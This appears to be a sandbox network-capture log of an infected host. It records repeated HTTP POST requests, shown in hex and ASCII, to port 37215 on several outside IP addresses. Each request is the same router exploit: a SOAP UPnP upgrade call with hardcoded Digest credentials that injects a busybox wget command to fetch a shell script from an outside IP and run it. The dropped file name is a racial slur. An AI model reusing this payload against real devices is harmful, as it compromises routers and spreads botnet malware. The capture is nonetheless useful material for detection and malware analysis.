Feb 19, 2024 18:35:43.474410057 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:45.682276964 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:50.289629936 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:59.248341084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:17.933790922 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.792639017 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	47862	31.200.50.90	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:41.840023994 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	60598	31.200.37.46	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:41.840136051 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	60040	31.200.124.108	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:41.859208107 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	57704	45.43.225.248	37215
